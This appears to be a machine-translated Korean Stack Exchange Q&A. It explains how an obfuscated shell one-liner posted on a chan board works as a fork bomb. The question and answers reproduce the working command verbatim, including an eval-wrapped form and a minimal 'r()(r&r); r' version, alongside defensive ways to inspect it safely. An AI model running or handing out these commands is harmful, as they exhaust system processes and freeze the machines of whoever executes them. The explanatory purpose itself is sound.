이 문자열은 어떻게 그리고 왜 포크 폭탄입니까?


132

무작위 찬 보드에서 발견 :

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

어쨌든 이것을 실행하면 무한으로 생성되는 프로세스가 발생하여 만연하여 기계를 정지시킵니다. 나는 "su"가 여러 번 처형 되려고하는 것을 보았다.

.. 어떤 것도 실행되지 않고 텍스트가 출력되기를 기대하기 때문에 이상합니다.

온라인 디코더를 통해이 텍스트를 실행하면 바이너리 이분법이 나옵니다.

uudecode 결과

실제로 텍스트의 혼란은 무엇이며 "안전하게"볼 수있는 방법이 있습니까?


"su"가 여러 번 실행되는 이유는 무엇입니까?
브렌트 워시번

34
조언 : 랜덤 챈 보드에서 코드를 실행하지 말고 포크 폭탄이라는 것에 감사하십시오.
rr-

21
허. 고맙게도 나는 이와 같은 적대적인 쓰레기로 놀러 다니기위한 명확한 목적의 스냅 샷 VM을 사용하고있었습니다.
Mikey TK


1
VIDAR Holen는,의 저자 shellcheck.net는블로그 게시물 그는이 포크 폭탄의 저자 주장과 배경 정보를 제공하는이에 있습니다.
Socowi

답변:


194

먼저 전체 명령을 살펴 보겠습니다.

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

에 에코되는 큰 따옴표로 묶인 문자열을 포함합니다 uudecode. 그러나 큰 따옴표로 묶인 문자열 내에는 따옴표 로 묶인 문자열이 있습니다. 이 문자열이 실행 됩니다. 문자열은 다음과 같습니다

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

내용을 보면 세 가지 명령이 표시됩니다.

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

중간 명령에서 가새 확장 을 수행하면 다음과 같은 이점 이 있습니다.

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

첫 번째 줄은 백그라운드에서 넌센스 명령을 실행하려고 시도합니다. 이것은 중요하지 않습니다.

두 번째 행은 중요합니다. r실행시 두 개의 자체 사본을 실행 하는 기능 을 정의 합니다. 물론 각각의 사본은 두 개의 사본을 추가로 시작합니다. 등등.

세 번째 줄이 실행 r되면서 포크 폭탄이 시작 됩니다 .

백 따옴표로 묶인 문자열 외부의 나머지 코드는 난독 화에 대한 의미가 없습니다.

명령을 안전하게 실행하는 방법

함수 중첩 수준에 제한을 설정하면이 코드를 안전하게 실행할 수 있습니다. 이것은 bash FUNCNEST변수 로 수행 할 수 있습니다 . 여기에 설정 2하고 재귀를 중지합니다.

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

(a) 무의미한 명령을 보여 위의 오류 메시지 rYWdlY29j발견되지 않고, (b)는 포크 폭탄 반복 FUNCNEST, 및 (c)의 출력에 의해 구동되면 echo시작하지 않고 begin, 결과적으로,와는 유효 입력 아니다 uudecode.

가장 간단한 형태의 포크 폭탄

가려진 부분을 제거하면 포크 폭탄은 어떻게 생겼습니까? njzk2와 gerrit가 제안했듯이 다음과 같습니다.

echo "`r()(r&r);r`"

우리는 그것을 더 단순화 할 수 있습니다 :

r()(r&r); r

이것은 두 가지 진술로 구성됩니다. 하나는 포크 폭탄 기능을 정의 r하고 두 번째는 실행 r합니다.

에 대한 파이프를 포함한 다른 모든 코드 uudecode는 가려 짐과 오해의 여지가 있습니다.

원래의 형태에는 또 다른 잘못된 방향의 층이 있었다

OP는 이 코드가 나온 chann board 토론에 대한 링크 를 제공 했습니다. 제시된대로 코드는 다음과 같습니다.

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

이 코드에 대한 첫 번째 주석 중 하나에 주목하십시오.

나는 그것을 위해 떨어졌다. 반향 및 디코딩되는 부분 만 복사했지만 여전히 폭격당했습니다.

chann 보드의 양식에서 문제는 eval의 출력에서 ​​작동 하는 문 이라고 순진하게 생각할 것 입니다 uudecode. 제거 eval하면 문제가 해결 될 것이라고 생각하게 됩니다. 위에서 보았 듯이, 이것은 거짓이며 위험합니다.


6
멀리 돌아가는! 나는 에코 문자열의 중간에 쉘 글 로빙 / 확장을 고려하지 않았다.
Mikey TK

31
나는 uudecode여기에 완전히 관련이 없다는 것을 아는 것이 좋을 것이라고 생각합니다 . 잠시 동안 uudecode기본적으로 안전하지 않은 백 인용 문자열 보간을 수행 한다고 생각 했지만 uudecode가 시작되기 전에 포크 폭탄이 발생합니다.
gerrit

28
... 이것은 신사 숙녀 여러분 , 쉘 스크립트의 보안이 그렇게 어려운 이유입니다. 완전히 무해한 물건조차도 당신을 죽일 수 있습니다. (이것이 어딘가에서 사용자 입력이었다고 상상해보십시오 ...)
MathematicalOrchid

22
@MathematicalOrchid 실제로 셸 스크립트에 대한 사용자 입력에서 역 따옴표로 묶인 항목을 실행하려면 사소한 노력이 필요합니다. 그리고 사용자 입력으로 쉘 스크립트를 구성 하는 경우 큰 따옴표로 묶는 것보다 더 잘 알아야합니다.
Random832

5
@ njzk2 당신은 여전히 &거기 필요합니다 : echo "`r()(r&r);r`".
gerrit

10

질문의 두 번째 부분에 대답하려면 :

... "안전하게"볼 수있는 방법이 있습니까?

이 문자열을 해체하려면 외부 큰 따옴표를 작은 따옴표로 바꾸고 문자열 안에서 발생하는 작은 따옴표를 이스케이프하십시오. 이처럼 쉘은 어떤 코드도 실행하지 않으며 실제로 모든 것을 바로 전달합니다 uudecode.

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

의견에 다른 대안이 언급되어 있습니다.

카스퍼 드 제안 :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall은 텍스트 편집기를 사용하고 내용을 붙여 넣은 다음 해당 파일을 uudecode로 전달할 것을 제안 했습니다.


5
또는 uudecode명령 행에 입력 하십시오. 엔터 키를 치시오. 디코딩 할 문자열을 복사하여 붙여 넣습니다.
kasperd

3
다른 대안 : 텍스트 편집기를 사용하여 내용을 파일에 저장하십시오. 로 해당 파일을 엽니 다 uudecode.
Jacob Krall

두 가지 덕분에 나는 그 대안에서 답을 찾았습니다.
gerrit

1
문자열이 echo "foo`die`bar'`die`'baz"처음 과 다른 것이 아닌지 확인하십시오 ! 즉, 's 가 있으면 따옴표를 작은 따옴표로 바꾸는 것으로 충분하지 않습니다.
wchargin

5

언뜻 보면 셸로의 출력이 절대로 실행되지 않을 것이라고 생각할 수 있습니다 . 이것은 여전히 사실 입니다. 문제는 이미 입력에 있습니다. 여기서 주요 요령은 프로그래머가 연산자 우선 순위를 호출하는 것 입니다. 이것은 쉘이 입력을 처리하려고 시도하는 순서입니다.

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. 내부의 모든 백틱 명령을 실행하여 문자열을 작성하십시오.
  2. 일반적으로 알 수없는 명령으로, 'rYWdl'이 오타가 아닌 경우 와 같은 일부 출력이 발생 합니다. command-not-found를 사용하여 포함 된 패키지를 조회 할 수 있습니다. (시스템에 따라 다름)
  3. 백그라운드에서 2.를 실행합니다. 출력이 표시되지 않습니다.
  4. 포크 폭탄 기능을 정의하십시오.
  5. 명령 구분 기호
  6. 포크 폭탄을 실행하십시오.
  7. 6.의 결과를 문자열에 삽입하십시오. (우리는 여기 오지 않습니다.)

오류는 그것이 echo실행될 첫 번째 명령이 될 것이라고 생각하는 것 uudecode입니다. 둘 다 도달하지 않습니다.

결론 : 큰 따옴표는 항상 셸에서 위험합니다.

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.